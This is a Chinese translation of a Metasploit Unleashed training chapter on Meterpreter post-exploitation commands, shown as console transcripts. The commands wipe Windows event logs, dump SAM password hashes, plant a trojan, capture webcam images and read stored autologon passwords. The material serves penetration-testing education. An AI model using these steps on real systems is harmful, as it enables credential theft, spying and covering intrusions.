翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/
翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。
翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。
翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。
Meterpreter 是一种高级的、动态可扩展的有效负载,它使用内存中的 DLL 注入stagers并在运行时通过网络扩展。它通过stager程序套接字进行通信,并提供全面的客户端 Ruby API。它具有命令历史记录,选项卡完成,通道等功能。
Metepreter最初是由skape为Metasploit 2.x编写的,常见的扩展被合并到3.x中,目前正在对Metasploit 3.3进行大修。服务器部分以纯C语言实现,现在使用MSVC编译,使其具有一定的可移植性。客户端可以用任何语言编写,但Metasploit有一个功能齐全的Ruby客户端API。
无痕的
功能强大的
可扩展的
添加运行时功能
新功能通过加载扩展添加到Meterpreter中。
整个过程是无缝的,大约需要1秒钟才能完成。
由于Meterpreter提供了一个全新的环境,我们将介绍一些基本的Meterpreter命令,以帮助您入门并帮助您熟悉这个最强大的工具。在本课程中,几乎涵盖了所有可用的 Meterpreter 命令。对于那些没有被涵盖的人来说,实验是成功学习的关键。
正如预期的那样,help
命令将显示 Meterpreter 帮助菜单。
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
channel Displays information about active channels
...snip...
background
命令会将当前的 Meterpreter 会话发送到后台,并返回到"msf"提示符。要返回您的Meterpreter会话,只需再次与之交互即可。
meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
cat
命令与 *nix 系统上的命令相同。当文件作为参数给出时,它会显示文件的内容。
meterpreter > cat
Usage: cat file
Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis
meterpreter >
cd
和 pwd
命令用于直接在目标主机上更改和显示当前工作位置。
更改目录"cd"的工作方式与在 DOS 和 *nix 系统下的工作方式相同。
默认情况下,当前工作文件夹是启动与侦听器的连接的位置。
meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >
clearev
命令将清除 Windows 系统上的"应用程序"、"系统"和"安全"日志。没有选项或参数。
meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
download
命令从远程计算机下载文件。请注意在提供 Windows 路径时使用双斜杠。
meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >
edit
命令将打开位于目标主机上的文件。
它使用"vim",因此编辑器的所有命令都可用。
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
.
...snip...
.
100666/rw-rw-rw- 0 fil 2012-03-01 13:47:10 -0500 edit.txt
meterpreter > edit edit.txt
请参阅 vim 编辑器文档,了解更多高级使用。
execute
命令在目标上运行命令。
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
运行 getuid
将显示 Meterpreter 服务器在主机上运行的用户。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
hashdump后渗透模块将转储 SAM 数据库的内容。
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
运行idletime
将显示远程计算机上的用户处于空闲状态的秒数。
meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
ipconfig
命令显示远程计算机上的网络接口和地址。
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address : 192.168.1.104
Netmask : 255.255.0.0
meterpreter >
lpwd
和 lcd
命令分别用于显示和更改本地工作目录。
当接收Meterpreter shell时,本地工作目录是启动Metasploit控制台的位置。
更改工作目录将授予您的 Meterpreter 会话访问位于此文件夹中的文件的权限。
meterpreter > lpwd
/root
meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU
meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >
与在 Linux 中一样,ls
命令将列出当前远程目录中的文件。
meterpreter > ls
Listing: C:\Documents and Settings\victim
=========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 .
40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 ..
100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel
40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data
...snip...
使用migrate
后模块,您可以迁移到受害者的另一个进程。
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >
ps
命令显示目标上正在运行的进程的列表。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe
152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
288 snmp.exe C:\WINDOWS\System32\snmp.exe
...snip...
resource
命令将执行位于文本文件中的 Meterpreter 指令。资源每行包含一个条目,将按顺序执行每行。这有助于自动执行用户执行的重复操作。
默认情况下,命令将在当前工作目录(在目标计算机上)中运行,资源文件在本地工作目录(攻击计算机)中运行。
meterpreter > resource
Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >
root@kali:~# cat resource.txt
ls
background
root@kali:~#
meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2012-02-29 16:41:29 -0500 .
40777/rwxrwxrwx 0 dir 2012-02-02 12:24:40 -0500 ..
100666/rw-rw-rw- 606 fil 2012-02-15 17:37:48 -0500 IDA Pro Free.lnk
100777/rwxrwxrwx 681984 fil 2012-02-02 15:09:18 -0500 Sc303.exe
100666/rw-rw-rw- 608 fil 2012-02-28 19:18:34 -0500 Shortcut to Ability Server.lnk
100666/rw-rw-rw- 522 fil 2012-02-02 12:33:38 -0500 XAMPP Control Panel.lnk
[*] Running background
[*] Backgrounding session 1...
msf exploit(handler) >
search
命令提供了一种在目标主机上查找特定文件的方法。该命令能够搜索整个系统或特定文件夹。
在创建要搜索的文件模式时,也可以使用通配符。
meterpreter > search
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > search -f autoexec.bat
Found 1 result...
c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter >
shell
命令将在目标系统上显示一个标准 shell。
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
与download
一样,您需要对 upload
命令使用双斜杠。
meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading : evil_trojan.exe -> c:\windows\system32
[*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >
从 Meterpreter shell 运行时,webcam_list
命令将显示目标主机上当前可用的网络摄像头。
meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
webcam_snap
命令从目标系统上连接的网络摄像头中抓取图片,并将其作为 JPEG 图像保存到光盘。默认情况下,保存位置是具有随机文件名的本地当前工作目录。
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.
OPTIONS:
-h Help Banner
-i The index of the webcam to use (Default: 1)
-p The JPEG image path (Default: 'gnFjTnzi.jpeg')
-q The JPEG image quality (Default: '50')
-v Automatically view the JPEG image (Default: 'true')
meterpreter >
meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >
Meterpreter的python扩展于2015年11月添加到Metasploit框架中。这个补充是一个完美的例子,社区如何扩展,并为已经通用的框架Metasploit做出贡献。
在撰写本文时,该扩展仍处于积极开发阶段,但是此附加组件显示出很大的前景,因为它使用户能够在目标计算机上本机运行Python代码,而无需安装解释器。各种Python模块(如cTypes)的内存实现可以极大地扩展Meterpreter对受损Windows目标的控制。
在我们的目标计算机上运行活动的meterpreter shell时,键入load python
将加载扩展,使我们能够访问新命令。
meterpreter > load python
Loading extension python...success.
加载后,我们可以发出help
命令以查看Python命令。
meterpreter > help
...
Python Commands
===============
Command Description
------- -----------
python_execute Execute a python command string
python_import Import/run a python file or module
python_reset Resets/restarts the Python interpreter
python_execute
命令在目标上运行给定的 python 字符串。如果需要结果,则应将其存储在 python 变量中,并且该变量应使用 -r
参数传递。
meterpreter > python_execute -h
Usage: python_execute [-r result var name]
Runs the given python string on the target. If a result is required, it should be stored in a python variable,
and that variable should passed using the -r parameter.
OPTIONS:
-h Help banner
-r Name of the variable containing the result (optional)
将 python 代码文件或模块从磁盘加载到目标上的内存中。模块加载程序需要包含模块的文件夹的路径,并且文件夹名称将用作模块名称。只有.py文件才能与模块一起使用。
meterpreter > python_import -h
Usage: python_import [-n mod name] [-r result var name]
Loads a python code file or module from disk into memory on the target.
The module loader requires a path to a folder that contains the module,
and the folder name will be used as the module name. Only .py files will
work with modules.
OPTIONS:
-f Path to the file (.py, .pyc), or module directory to import
-h Help banner
-n Name of the module (optional, for single files only)
-r Name of the variable containing the result (optional, single files only)
这个是不言自明的。
meterpreter > python_reset -h
[+] Python interpreter successfully reset
以下是 Python 扩展的实际运行示例。随着时间的推移,将添加更多功能,使扩展成为更强大的工具。
加载扩展后,我们可以使用基本的Python功能,例如print
。这可以通过使用python_execute
命令和标准Python语法来实现。
meterpreter > python_execute "print 'Good morning! It\\'s 5am'"
[+] Content written to stdout:
Good morning! It's 5am
还可以保存到变量,并使用 -r
开关打印其内容。
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
[+] cd = C:\Users\loneferret\Downloads
meterpreter >
以下文件位于我们机器的"root"文件夹中。它本质上做什么,搜索 C:\驱动器,用于任何名为readme.txt的文件。尽管这可以通过meterpreter的本机search
命令来完成。在文件系统中运行的一个观察结果使我们的meterpreter会话崩溃了不止一次。
root@kali:~# cat findfiles.py
import os
for root, dirs, files in os.walk("c://"):
for file in files:
if file.endswith(".txt") and file.startswith("readme"):
print(os.path.join(root, file))
为了在目标计算机上运行此文件,我们需要调用python_import
命令。使用 -f
开关指定我们的脚本。
meterpreter > python_import -f /root/findfiles.py
[*] Importing /root/findfiles.py ...
[+] Content written to stdout:
c://Program Files\Ext2Fsd\Documents\readme.txt
c://qemu-0.13.0-windows\patch\readme.txt
c://Users\loneferret\Desktop\IM-v1.9.16.0\readme.txt
再比如,这次打印一些内存信息,并使用"ctypes"Python模块调用Windows消息框。
meterpreter > python_import -f /root/ctypes_ex.py
[*] Importing /root/ctypes_ex.py ...
[+] Content written to stdout:
>WinDLL 'kernel32', handle 76e30000 at 4085e50>
metrepreter > python_import -f /root/msgbox.py
[*] Importing /root/msgbox.py ...
[+] Command executed without returning a result
当然,这完全取决于您当前的Meterpreter的访问级别。另一个简单的Python脚本示例,读取窗口的注册表中的"AutoAdminLogon"键。
meterpreter > python_import -f /root/readAutoLogonREG.py
[*] Importing /root/readAutoLogonREG.py ...
[+] Content written to stdout:
[+] Reading from AutoLogon Registry Location
[-] DefaultUserName loneferret
[-] DefaultPassword NoNotReally
[-] AutoAdminLogon Enabled